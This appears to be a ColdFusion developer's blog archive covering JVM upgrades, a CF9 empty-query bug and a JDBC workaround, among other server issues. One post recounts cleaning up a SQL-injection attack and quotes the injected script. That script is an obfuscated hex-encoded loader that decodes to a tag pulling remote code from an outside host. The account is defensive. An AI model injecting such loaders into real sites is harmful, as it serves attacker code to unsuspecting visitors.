ColdFusion 9.0.1 on Java 7u3 by request

ColdFusion 9.0.1 Running on Java 7

While I was doing some JVM tuning on our ColdFusion servers at work I thought I'd try out upgrading the JVM from 6.0.17 to 6.0.27 on my own server, just in case there were negative consequences :) The upgrade went off without a hitch, I'm still working on some benchmarks but so far the performance seems to have improved noticeably.

But why stop at 6u27? This is an experimental playground after all, Sooo

BAM!

ColdFusion 9.0.1 is now running on Java 7.

I'm aware of the bugs that have been reported by the Apache group in regards to certain loop scenarios. I wouldn't recommend running out and doing this to mission critical production servers, at least not until a few updates have been released.

ColdFusion 9.01 Yeah Baby!

This had to be the smoothest upgrade yet. Total outage was less than 2 minutes and we're running 9.01. Bring on the clouds!

Coldfusion 9 and Empty result set queries - Part 2

Progress!

I must say I'm a bit perturbed by what I found in researching this problem. I also need to make a clarification in my test code, I over simplified the simple query. If you were to run that query, after setting up the table, you would find that it does indeed work and you'd be saying "that guy's crazy, it works fine!" The problem comes in when records are eliminated due to aggregation, GROUP BY and such.

The following two links will be of help.

Adobe forum where it's being discussed:
http://forums.adobe.com/message/2631903

More importantly, the bug tracker entry.
http://cfbugs.adobe.com/cfbugreport/flexbugui/cfbugtracker/main.html#bugId=80384

Notice how they list this as a BENIGN problem and that there is a work around. Benign my ass! I urge everyone to go to the bug tracker and VOTE for this to be fixed.

So, for the work around? One acceptable temporary (IMO) solution is to set up a JDBC DSN to connect to your SQL Server database. In my case I needed a 2008 JDBC driver.

This brings me to another sore point with information on the internet. Far too often I've seen "helpful" people post solutions to problems only to gloss over 90% of the information used to FIX it. Not everyone is born with the knowledge to construct a JDBC connection string, or the ability to pull a driver class out of their ass. So here's my contribution to the half-assed help pile.

This will help those using Coldfusion 9.0

Microsoft JDBC 2.0 and 3.0 driver links.

MS JDBC 3.0 http://www.microsoft.com/downloads/details.aspx?FamilyID=%20a737000d-68d0-4531-b65d-da0f2a735707&displaylang=en#filelist
MS JDBC 2.0 http://www.microsoft.com/downloads/en/confirmation.aspx?familyId=99b21b65-e98f-4a61-b811-19912601fdc9&displayLang=en

  1. Download one of those two, which ever you want. I'm using 3.0
  2. Extract to a directory, any will do we're going to move the files when we're done anyway
  3. Now, if you're using 3.0 you will find, buried in the directory structure that just extracted, two files
    • sqljdbc.jar
    • sqljdbc4.jar
    Only use ONE of these, for CF 9 you will want to use sqljdbc4.jar
  4. Copy the sqljdbc4.jar to
    • cf_root/cfusion/lib (server configuration)
    • cf_webapp_root/WEB-INF/cfusion/lib (multiserver or J2EE configuration).
    I'm using Multiserver for this example so I put it in
    • "Z:\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\"
  5. RESTART COLDFUSION

Now, you will need to log in to the CF Administrator and create a new datasource.

  1. Give it a name,
  2. and then select "OTHER" from the drop down list
  3. and click ADD
  4. Now for a JDBC URL, if you're super leet you don't need me to tell you, but for those "lamers" out there here's the JDBC URL that should get you by.
    jdbc:sqlserver://server name;databaseName=database name
    If you happen to be running multiple instances of SQL Server or are on a different port then this should work for you
    jdbc:sqlserver://server name/instance name:port number;databaseName=database name
  5. Driver Class will be
    com.microsoft.sqlserver.jdbc.SQLServerDriver
  6. Driver Name (you can name it whatever you want) SQL Server 2008 JDBC
  7. Username: database user name
  8. Password: database user password

The driver works great so far. If I run into any idiosyncrasies I'll post about it!

Coldfusion 9 and Empty result set queries

I've run into an interesting problem on one of our CF 9 servers. Here's the skinny, there's some code that looks like

view plain print about
1<cfquery name="qryInfo" datasource="myDB">
2 SELECT name
3 FROM actors
4 WHERE id = <cfqueryparam value="#arguments.actorID#" cfsqltype="cf_sql_integer" />
5</cfquery>
6
7<cfif qryInfo.recordCount>
8
9<!--- do something here --->
10
11...
12
13...
14
15</cfif>

Now this is obviously a much more simplified (not to mention completely different data/tables/etc from what the real system is doing) this is just an example.

This code works as you would expect, the query executes and returns some data, the IF block does its thing and all is well, right? Unless the query doesn't return anything. Now in past versions of CF this has never been a problem, an empty query object is returned and again, all is well.

The problem I've encountered on one of our CF 9 servers is this: If the query returns nothing, the IF block fails stating that recordcount is undefined in qryInfo. If I dump qryInfo, the same error: "qryInfo is undefined"

I created some test code and placed it on another CF 9 server in the center and it works as expected, no error, just an empty query object. How bizarre I say! The only difference I've been able to see is that one box (the one that flips out) is 64 bit, and the other (the one that plays nice) is 32 bit.

This warrants further testing and investigation. I'll keep you posted.

UPDATE:
Tested on another CF 9 x64 server and it works just fine. Maybe the install is borked?

portal.acras.in - garbage sucking lame ass bitches

Today was...invigorating... to say the least at my day job. We maintain a rather large code base for a client of ours that contained some older code in its deepest darkest nether-regions that allowed for some SQL injection to take place. Although I know I was likely fighting against some junk ass bot, it felt like my opponent was flesh and blood.

Here's how it went down:

BOT: Injects silly script tag

view plain print about
1<script>my lame ass portal full of shit</script>

or...
view plain print about
1<script>
2 var news="b20b3cb73b63b72b69b70b74b20b73b72b63b3db22b68b74b74b70b3ab2fb2fb70b6fb72b74b61b6cb2eb61b63b72b61b73b2eb69b6eb2fb6db6cb2eb70b68b70b22b3eb3cb2fb73b63b72b69b70b74b3e";
3 docs = news.replace(/b/g,'%');
4document.write(that var named docs that I'm not actually going to put in here...);
5 </script>

ME: finds no trace in CF error logs and sets up a kill script in SQL to remove junk, continues to look for the entry point.
BOT: Injects more crap. This time changing the script's contents.
ME: creates a trigger on the targeted table to remove on update/insert - suck a fat one. continues to look for entry point.
BOT: ...
BOT: ...
BOT: ...
BOT: modifies script tags just enough to bypass trigger checks.
ME: hm, how clever you piece of junk.
ME: locks down the site's datasource to read only and proceeds to setup read and read/write dsns, some regex find and replace goodness and...once again...suck it!

I do enjoy a good duel from time to time, but not when I've got shit to do. So, whoever you are "portal.acras.in" nice try, but not good enough. DIAF KKTHXBYE.

Site Migrated...

Accidentally ahead of schedule...What I mean is, yeah...I meant to do that. Now to get rid of that ugly orange theme.

and...what gives with the links not working! grrr

oh, and Lyla too...damn you!

why can't things just work when you want them to?

Coldfusion j2eeSessionScopeStub cannot cast...

While working on a customer solution, we ran into an interesting error.

view plain print about
1Error casting an object of type coldfusion.runtime.J2eeSessionScopeStub cannot be cast to coldfusion.runtime.J2eeSessionScopeStub to an incompatible type. This usually indicates a programming error in Java, although it could also mean you have tried to use a foreign object in a different way than it was designed.
2coldfusion.runtime.J2eeSessionScopeStub cannot be cast to coldfusion.runtime.J2eeSessionScopeStub

This problem occurred on a load balanced server pair running Coldfusion 8.01 with Cumulative Hotfix 3. Each server is running a separate instance which is then clustered. From what I've been able to gather from others in the community is that uninstalling the hot fix alleviates the problem, however in this case the hotfix is required for the successful operation of the customer's site. Luckily, the site did not need the session scope and I shut off J2EE sessions as well as session replication.

I eagerly await a fix from Adobe on this, if there's anyone else in the community that has run across this problem and have successfully mitigated it, I invite you to share your solutions.

Whacky server restarts...Coldfusion XML

So I've been working on a project for the past couple of days that involves fetching XML from a remote source and parsing it, then throwing it into a SQL Server database. Easy enough right?...wrong!

Every few iterations of the processing loop causes the server to do a reboot. I at first thought it might have something to do with Coldfusion 8's XML parsing, however after setting up a virtual environment, I have narrowed it down to SQL Server. The server in question is running SQL Server 2005 SP3 64bit.

The plot thickens...

CF Administrator hax

"Now if I could just get around using coldfusion.server.ServiceFactory for the pesky web service refresh... (CF7)"

Solved that problem too!

cfset objAdmin = createObject("component", "cfide.adminapi.administrator").login("CF Admin Password")
cfset webService = createObject("component", "cfide.adminapi.extensions")

cfset webService.reloadWebService(name = "Web Service URL", path = "Web Service Url")

More Entries